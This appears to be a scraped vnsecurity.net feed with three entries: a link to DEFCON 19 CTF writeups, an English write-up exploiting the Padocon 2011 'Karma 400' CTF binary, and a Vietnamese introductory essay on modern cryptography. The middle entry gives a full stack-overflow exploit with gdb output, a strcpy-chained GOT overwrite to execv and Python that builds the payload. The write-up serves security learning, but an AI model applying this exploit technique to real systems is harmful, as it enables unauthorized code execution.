DEFCON 19 CTF Quals: writeups collection http://www.vnsecurity.net/2011/05/defcon-19-ctf-quals-writeups-collection/ http://www.vnsecurity.net/2011/05/defcon-19-ctf-quals-writeups-collection/#comments Tue, 31 May 2011 01:48:45 +0000 longld https://www.vnsecurity.net/?p=1152 ]]> http://www.vnsecurity.net/2011/05/defcon-19-ctf-quals-writeups-collection/feed/ 1 Padocon 2011 CTF Karma 400 exploit: the data re-use way http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/ http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/#comments Mon, 31 Jan 2011 16:16:10 +0000 longld https://www.vnsecurity.net/?p=1139

Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:

  • It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
  • Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
  • There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective

In this post I will show how to exploit karma 400 with data re-use method.

$ gdb -q karma400_lolcosmostic
gdb$ pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdb$ r
input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x00000000  EBX: 0x41346141  ECX: 0xBFFFF384  EDX: 0x00B84FF4  o d I t S z a p c
 ESI: 0x00000000  EDI: 0x61413561  EBP: 0x62413961  ESP: 0xBFFFF3DC  EIP: 0x08048793
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF3DC]------------------------------------------------------[stack]
0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
--------------------------------------------------------------------------[code]
=> 0x8048793:    ret
 0x8048794:    nop
 0x8048795:    nop
 0x8048796:    nop
--------------------------------------------------------------------------------
0x08048793 in ?? ()
gdb$ x/x $esp
0xbffff3dc:    0x31624130

gdb$ pattern_offset 200 0x31624130
Searching for 0Ab1 in buf size 200
32

We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).

Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls

gdb$ x/32wx 0x08049a50
0x8049a50:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a60 <stdin>:    0x00b85440    0x00000000    0x00000000    0x00000000
0x8049a70:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a80 <stdout>:    0x00b854e0    0x00000000    0x00000000    0x00000000
0x8049a90:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049aa0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ab0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ac0:    0x00000000    0x00000000    0x00000000    0x00000000

TARGET = 0x8049a90
NULLARGV = TARGET - 4

gdb$ info func strcpy@plt
All functions matching regular expression "strcpy@plt":

Non-debugging symbols:
0x080484f0  strcpy@plt

STRCPY = 0x080484f0

gdb$ x/4i 0x80485e3
 0x80485e3:    pop    ebx
 0x80485e4:    pop    ebp
 0x80485e5:    ret
 0x80485e6:    lea    esi,[esi+0x0]
gdb$

POP2RET = 0x80485e3

gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00"
Searching for '/tmp/v\x00'
'/': 0x8048134
't': 0x80480f6
'm': 0x80482dc
'p': 0x8048313
'/': 0x8048134
'v\x00': 0x80485e7

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]

The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0],  STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]

Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.

gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>

EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":

Non-debugging symbols:
0x08048540  puts@plt
gdb$ x/i 0x08048540
 0x8048540 <puts@plt>:    jmp    DWORD PTR ds:0x8049a48

PLTADDR = 0x08048540
GOTADDR = 0x8049a48

gdb$ findsubstr 0x08048000 0x08049000  0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0

gdb$ findsubstr 0x08048000 0x08049000  0x00
Searching for '\x00'
'\x00': 0x8048007

DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]

The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]

Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]

We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".

gdb$ findsubstr 0x08048000 0x0804a000  "/"
Searching for '/'
'/': 0x8048134
gdb$ x/s 0x8048134
0x8048134:     "/lib/ld-linux.so.2"
gdb$ x/s 0x8048138
0x8048138:     "/ld-linux.so.2"

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]

Wrap things up and test:

gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
...     PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
...     PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
...     fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D

gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id

Program received signal SIGPIPE, Broken pipe.

Pwned!

Notes:

  • This way can also be applied to exploit karma 500
  • Disekt's return to do_system() trick is really neat for local exploit
]]>
http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/feed/ 1
Mật mã hiện đại (1) http://www.vnsecurity.net/2011/01/crypto-1/ http://www.vnsecurity.net/2011/01/crypto-1/#comments Fri, 14 Jan 2011 08:40:22 +0000 thaidn https://www.vnsecurity.net/?p=1118

Tôi dự tính viết về đề tài này từ cả năm nay, mà mãi tới bây giờ mới có đủ động lực để viết. Có hai lý do khiến tôi bắt đầu.

Thứ nhất, số là tôi đang theo học một cách chính quy về mật mã, mà kinh nghiệm cho thấy cách học (và đọc sách) tốt nhất là viết, tóm tắt lại và giải thích rành mạch rõ ràng những gì vừa học được cho người khác. Chừng nào làm được như thế thì mới có thể xem là đã hiểu được vấn đề đang muốn học.

Thứ hai, hôm rồi tôi đọc một mẩu chuyện về Richard Feynman, trong đó có đoạn kể về lúc Feynman bị bệnh, gần đất xa trời, ông tâm sự rằng, “[I'm going to die but I'm not as sad as you think because] when you get as old as I am, you start to realize that you’ve told most of the good stuff you know to other people anyway“. Đương nhiên những gì tôi biết làm sao mà “good” bằng những gì Feynman biết, nhưng dẫu sao thì tôi cũng sẽ học theo Feynman, có biết cái gì hay ho thì giải thích cho nhiều người khác cùng biết.

I. Mở đầu

1. Giới thiệu

Loạt bài này tôi sẽ giới thiệu về mật mã học hiện đại, tập trung vào giải thích cách thức hoạt động của các thành phần mật mã cơ sở (cryptographic primitive) và làm sao sử dụng chúng cho đúng cách.

Mật mã là công cụ rất mạnh mẽ làm nhiều người lầm tưởng rằng cứ sử dụng mật mã là an toàn, mà không biết rằng mật mã là con dao hai lưỡi. Bạn có thể xây dựng một hệ thống với đầy đủ các ý tưởng hay ho nhất của mật mã, nhưng nếu bạn không dùng mật mã đúng cách, hệ thống của bạn sẽ hoàn toàn thiếu an toàn.

Đã có rất nhiều ví dụ, mà tiêu biểu là các kết quả làm việc gần đây của tôi và đồng nghiệp (xem đâyđây và đây). Hoặc như gần đây, hệ thống bảo vệ máy PS3 của Sony bị phá vỡ hoàn toàn chỉ vì sử dụng sai mật mã. Không riêng gì Sony, mà rất nhiều hãng lớn trên thế giới, từ Oracle, Yahoo!, đến Microsoft, đã sử dụng sai mật mã và làm cho sản phẩm của họ thiếu an toàn.

Điều này cho thấy, chỉ biết mật mã giúp gì cho bạn là chưa đủ, mà bạn cần phải biết làm thế nào để sử dụng chúng đúng cách. Khi biết cách sử dụng đúng mật mã rồi, bạn sẽ có thể dùng mật mã để xây dựng các hệ thống an toàn hơn, và đồng thời có thể đánh giá được sản phẩm sử dụng mật mã của bên thứ ba.

Giáo trình mà tôi sử dụng là cuốn sách “Introduction To Modern Cryptography” của Jonathan Katz và Yehuda Lindell (từ đây về sau gọi là KL). Trong quá trình học mật mã, tôi cũng đã đọc thử nhiều sách khác nhau, nhưng cuốn KL này là thích hợp hơn nhất cho việc tìm hiểu mật mã học hiện đại. KL cũng được sử dụng làm giáo trình để dạy mật mã cho cấp đại học và cao học ở nhiều trường đại học trên thế giới. Bạn nào có điều kiện thì nên mua sách. Nếu là sinh viên thì có thể liên hệ với tôi (ở TP.HCM) để mượn sách mà đọc.

Một cuốn sách miễn phí khác có thể dùng để thay thế KL là cuốn Handbook of Applied Cryptography. Kết thúc mỗi bài viết, tôi sẽ liệt kê trang nào trong KL hoặc HAC cần phải đọc.

Loạt bài được chia làm ba phần lớn. Phần đầu tiên nói về mã đối xứng, phần thứ hai nói về mã bất đối xứng, và phần thứ ba sẽ bàn về các đề tài nâng cao. Trong phần thứ nhất tôi sẽ giải quyết vấn đề: làm thế nào để chị A và anh B liên lạc với nhau an toàn, khi hai người đã có một khóa bí mật chung? Vấn đề của phần thứ hai sẽ là làm thế nào để chị A và anh B chưa quen biết nhau có thể tạo ra một khóa bí mật chung chỉ có hai anh chị biết mà thôi? Trong phần thứ ba, tùy vào tình hình mà tôi sẽ viết về các đề tài như tiền điện tử, bầu cử điện tử hay đấu giá điện tử.

Tôi cũng muốn lưu ý là nội dung loạt bài sẽ có những phần không nằm trong cuốn KL, và tôi sẽ cố gắng để người đọc hiểu được loạt bài này mà không cần phải tham khảo thêm tài liệu khác. Nghĩa là khi nào cần thì tôi sẽ cung cấp các kiến thức hỗ trợ, ví dụ như các kiến thức toán (bao gồm lý thuyết xác suất, lý thuyết số, đại số trừu tượng và một ít lý thuyết độ phức tạp tính toán). Tôi cũng không chắc là tôi làm được (tự vì tôi cũng đang học như bạn mà thôi!), nhưng mà tôi sẽ cố gắng. Mục tiêu của tôi là nếu bạn theo sát loạt bài viết này từ đầu, thì khi kết thúc, bạn sẽ hiểu mật mã học hiện đại hoạt động ra sao, và cách sử dụng chúng như thế nào cho đúng và an toàn.

2. Tại sao mật mã?

Trước khi đi vào nội dung chính của bài viết đầu tiên, tôi muốn dành ra ít phút để thuyết phục bạn là tại sao chúng ta cần phải học mật mã. Cá nhân tôi thấy có ba lý do chính.

Thứ nhất, mật mã là công cụ rất quan trọng, được sử dụng ở mọi nơi. Tôi đồ rằng nhiều bạn dùng mật mã hàng ngày mà lại không biết. Bạn có dùng GMail hoặc có bao giờ mua hàng trên Amazon không? Nếu có thì bạn đã dùng mật mã rồi đó.

Bạn có chú ý là khi bạn vào GMail hoặc Amazon, địa chỉ mà bạn sử dụng bắt đầu bằng HTTPS thay vì HTTP không? Chữ S trong HTTPS là viết tắt của Secure, hiểu nôm na rằng HTTPS là phiên bản an toàn hơn so với HTTP, và sự an toàn này là nhờ vào bộ giao thức mật mã mang tên Secure Socket Layer, phiên bản mới hơn gọi là Transport Layer Security. Nhờ có SSL/TLS mà bạn có thể an tâm giao dịch với Amazon mà không sợ thông tin giao dịch của bạn bị đánh cắp hoặc chỉnh sửa trong quá trình truyền từ máy tính của bạn lên đến máy chủ của Amazon. Nói cách khác, không có mật mã thì đã không có thương mại điện tử rồi!

SSL/TLS được dùng chủ yếu để bảo vệ thế giới web, mà Internet thì đâu chỉ có web. Mật mã còn có thể được sử dụng để đảm bảo an toàn cho email. Email có hai vấn đề cần phải giải quyết. Thứ nhất, làm thế nào để đảm bảo tính riêng tư, tỉ như chị A viết thư cho anh B, thì chỉ có anh B đọc được thư đó thôi, không ai khác đọc được cả. Thứ hai, làm thế nào để hiện thực hóa vấn đề chữ ký trong thư từ thông thường, nói cách khác làm sao để anh B biết chắc là thư đang đọc đến từ chị A, không bị ai sửa chữa giả mạo gì cả, và sau này chị A cũng không thể chối là chị không phải là tác giả của lá thư đó? Đây chính là yêu cầu bắt buộc của khái niệm chữ ký điện tử mà chúng ta thường nghe. Tương tự như SSL/TLS, PGP/OpenPGP là tiêu chuẩn phổ biến nhất để bảo vệ email thông qua các thành tựu của mật mã học.

Nếu bạn là lập trình viên, thì chắc chắn sẽ có lúc nào đó bạn gặp phải vấn đề xác thực người dùng, và lúc đó bạn sẽ cần phải sử dụng mật mã để xây dựng nên một cơ chế quản lý mật khẩu và xác thực người dùng một cách an toàn. Thay vì lưu mật mã trực tiếp xuống cơ sở dữ liệu, nhiều lập trình viên đã biết sử dụng các thuật toán băm một chiều để bảo vệ mật khẩu. Tuy vậy phần lớn trong số đó vẫn sử dụng sai mật mã, khiến cho mặc dù có dùng mật mã, nhưng hệ thống của họ vẫn không an toàn hơn là mấy. Thí dụ như nếu bạn chỉ băm mật khẩu xuyên qua MD5 một lần, thì bạn đã làm sai! Cách làm đúng là phải băm ít nhất 1000 lần, và còn nhiều tiểu tiết khác nữa!

Người ta còn dùng mật mã để bảo vệ các giao thức mạng không dây. Thầy tôi thường nói ông phải cảm ơn những người đã thiết kế ra tiêu chuẩn 802.11i, còn được biết đến là WEP, bởi WEP đã phạm phải mọi sai lầm từng được biết đến trong các sách giáo khoa về mật mã, nên mỗi lần cần đưa ra ví dụ về cách sử dụng sai mật mã, thầy tôi chỉ việc lấy một ví dụ từ WEP! Ông gọi WEP là một giao thức được “thiết kế sau những cánh cửa đóng”, đi ngược lại hoàn toàn với tiêu chí mở trong mã hóa (tôi sẽ nói thêm về tiêu chí mở này ở bên dưới). Trong loạt bài này, bạn sẽ thấy ngoài WEP ra còn có rất nhiều giao thức, thuật toán mã hóa được “thiết kế sau những cánh cửa đóng”, và tất cả đều không an toàn.

Ngoài những ứng dụng trực tiếp kể trên ra, mật mã còn được sử dụng trong nhiều lĩnh vực có vẻ không liên quan mấy, ví dụ như bầu cử, đấu giá, tiền điện tử hay bảo vệ bản quyền điện tử. Đây là những chủ đề mà bản thân tôi chưa có cơ hội tìm hiểu; dẫu vậy tôi có kế hoạch sẽ tìm hiểu chúng trong tương lai gần. Tóm lại, lý do thứ nhất cần phải học mật mã là vì mật mã rất mạnh mẽ và có thể giúp chúng ta giải quyết nhiều vấn đề tự nhiên đến từ cuộc sống.

Thứ hai, mật mã rất đẹp, đơn giản vì nó là sự giao thoa và ứng dụng của rất nhiều nhánh trong toán học, mà toán đẹp cỡ nào thì khỏi phải bàn rồi phải không? ;-).

Giáo sư Phạm Huy Điển từng viết rất hay như thế này:

Lâu nay không ít người cảm thấy thất vọng vì đã “uổng công” học Toán. Nghe người ta nói thì Toán học là “chìa khóa” cho mọi vấn đề, nhưng trên thực tế thì học sinh sau khi tốt nghiệp lại chẳng biết dùng kiến thức Toán đã học được trong nhà trường vào việc gì trong cuộc sống, nhất là những bài toán khó mà họ đã tốn bao công sức nhồi nhét trong các “lò luyện” đủ loại. Đây là một thực tế, xuất phát từ việc xác định nội dung và phương pháp dạy Toán không hợp lý trong các nhà trường hiện nay. Toán học đã bị biến thành một môn “đánh đố thuần túy”, thay vì một bộ môn khoa học mang đầy chất thực tiễn. Tuy nhiên, còn một lý do khác khiến chúng ta không nhìn thấy được bóng dáng của Toán học trong thực tiễn thường ngày, đó là Toán học ngày nay không mấy khi trực tiếp đi được vào các ứng dụng trong thực tiễn mà thường phải “ẩn” sau các ngành khoa học khác: Sinh học, Môi trường, Tài chính, Kinh tế… và thậm chí ngay cả Công nghệ thông tin, một lĩnh vực có thể xem như là được sinh ra từ Toán học. Đã có những ý kiến nói về sự lãng phí của nguồn nhân lực đang làm Toán hiện nay và không ít người cũng đã tưởng là thật…

May mắn thay, khoa học Mật mã đã góp một phần quan trọng trong việc làm sáng tỏ cái “sự thật oan trái” này. Có thể nói rằng hiếm có lĩnh vực nào mà vai trò của các công cụ Toán học lại được thể hiện rõ ràng đến như vậy. Chính Toán học đã làm nên cuộc cách mạng trong công nghệ mật mã, trước hết là bằng sự hiện thực hóa các ý tưởng về mật mã khóa công khai mà các nhà mật mã chuyên nghiệp đã ấp ủ từ lâu, và sau đó là đưa một số kết quả của Toán học (thuộc loại trừu tượng vào bậc nhất) tiếp cận với các ứng dụng trong thực tiễn.

Bạn nào hồi phổ thông có học chuyên toán chắc hẳn sẽ nhớ đến định lý nhỏ (rất đẹp!) của Fermat phát biểu rằng: nếu {p} là số nguyên tố, thì ta có: \forall a \in \mathbb{Z}, a^p \equiv a \, (mod \, p). Khi học mật mã, bạn sẽ thấy lại định lý này và nhiều ứng dụng tuyệt vời của nó! Tôi có thể bật mí sơ là hệ mã nổi tiếng RSA được xây dựng dựa trên kết quả của định lý đơn giản này!

Ngoài toán ra, mật mã học hiện đại còn được xây dựng dựa trên lý thuyết trung tâm của khoa học máy tính: lý thuyết độ phức tạp tính toán (mà thiệt ra cũng là toán thôi). Thành ra đối với những người học khoa học máy tính hoặc nói đơn giản là làm IT như chúng ta, tìm hiểu về mật mã là một cách để thưởng thức cái đẹp của khoa học máy tính.

Bạn nào học lý thuyết độ phức tạp tính toán rồi thì đều biết là có những bài toán mà chúng ta chưa biết khó cỡ nào, chỉ biết là sao bao nhiêu năm nghiên cứu, thế giới vẫn chưa tìm ra thuật toán “hiệu quả” để giải. Câu hỏi là có cách nào lợi dụng những bài toán khó đó để phục vụ cho lợi ích của con người? Nghe có vẻ hơi ngược đời đúng không, chưa tìm ra lời giải thì làm sao mà lợi với chả dụng? Thế mà những người tiên phong của mật mã hiện đại đã nghĩ ra cách sử dụng các bài toán khó như thế và chính những ứng dụng độc đáo sáng tạo như thế này làm nên vẻ đẹp của mật mã!

Lý do thứ ba? Tự bảo vệ những quyền con người cơ bản của chính chúng ta!

Ai cũng có quyền có bí mật, và ai cũng có quyền quyết định khi nào và như thế nào họ sẽ tiết lộ bí mật đó cho người khác. Chúng ta kết nối vào Internet để gửi email, đọc blog, mua một món hàng hay công bố một bài viết mới; mỗi một hành động như thế đều có thể được diễn dịch theo nhiều ngữ nghĩa khác nhau, mà mỗi cách diễn dịch đôi khi lại đem đến những thiệt hại không mong muốn cho chính chúng ta. Thành ra cách tốt nhất là hạn chế tiết lộ danh tính, và nếu ẩn danh được thì càng tốt (cá nhân tôi cho rằng, sở dĩ Internet phát triển như ngày nay một phần là vì bản chất ẩn danh của nó, dẫu đây chỉ là một sự ngộ nhận). Hơn nữa, không phải cái gì chúng ta nói, chúng ta viết đều là dành cho tất cả mọi người; đôi khi chúng ta muốn chỉ duy nhất một nhóm vài người có thể đọc và nghe được những ý kiến của chúng ta. Đây là quyền riêng tư. Mời bạn đọc thêm A Cypherpunk’s Manifesto.

Ai cũng có quyền tự do ngôn luận, tự do thể hiện, tự do tí toáy, ở ngoài đời thật hoặc ở trên Internet. Chắc hắn không cần phải giải thích, tất cả chúng ta đều biết những quyền này quan trọng như thế nào đối với sự tự do của mỗi cá nhân. Vậy ai muốn xâm hại những quyền con người cơ bản của chúng ta? Tôi nghĩ câu hỏi này là thừa, bởi vì rõ ràng sự tự do của tất cả chúng ta đã, đang và bị xâm hại. Khi bạn không kết nối vào được Facebook, nghĩa là bạn đã không còn được tự do.

May mắn thay, những thành tựu trong vài chục năm vừa qua của mật mã có thể phần nào giúp tất cả chúng ta đảm bảo được tính riêng tư và sự tự do trong cuộc sống hàng ngày. Tôi hi vọng là qua loạt bài viết này, tất cả các bạn sẽ hiểu được sức mạnh của mật mã, rồi từ đó sử dụng chúng đúng cách để bảo vệ những quyền và lợi ích chính đáng của bản thân.

3. Nguyên lý Kerckhoff

Nguyên lý do ông Kerckhoff phát biểu vào thế kỷ 19 với nội dung như sau:

Một hệ thống mã hóa phải an toàn ngay cả khi tất cả thông tin về hệ thống đó đều đã được công bố ra ngoài. Bí mật duy nhất của hệ thống là một khóa ngắn.

Thực tế cho thấy tất cả các công nghệ mã hóa “thiết kế sau những cánh cửa đóng” đều bị phá vỡ nhanh chóng ngay khi một ai đó “reverse engineer” và công bố thiết kế của chúng. RC4 (dùng để mã hóa mạng không dây), A5/1 (dùng để mã hóa mạng điện thoại GSM), CSS (dùng để mã hóa đĩa DVD), Crypto-1 (dùng để mã hóa các thẻ thanh toán điện tử)… tất cả đều bị phá vỡ trong một thời gian ngắn, kể từ lúc thuật toán bị “reverse engineer”.

Thành ra khi sử dụng mật mã, chúng ta sẽ tuyệt đối tuân thủ nguyên lý Kerckhoff này. Nói cách khác, chúng ta chỉ sử dụng những thuật toán, tiêu chuẩn, hệ thống mã hóa mở. May mắn là đã có sẵn rất nhiều thuật toán, tiêu chuẩn và hệ thống mã hóa mở, chúng ta chỉ việc chọn cái thích hợp mà dùng, không cần phải xây dựng lại từ đầu. Tuyệt đối không sử dụng những tiểu chuẩn, thuật toán, hệ thống đóng! Nói cách khác, avoid security through obscurity.

Mật mã là sân chơi của những ông già bảo thủ ;-), những người luôn đặt ra những điều kiện khó nhất, và rồi cố gắng xây dựng một hệ thống an toàn trong những điều kiện đó. Điều thú vị là họ thành công!

]]>
http://www.vnsecurity.net/2011/01/crypto-1/feed/ 3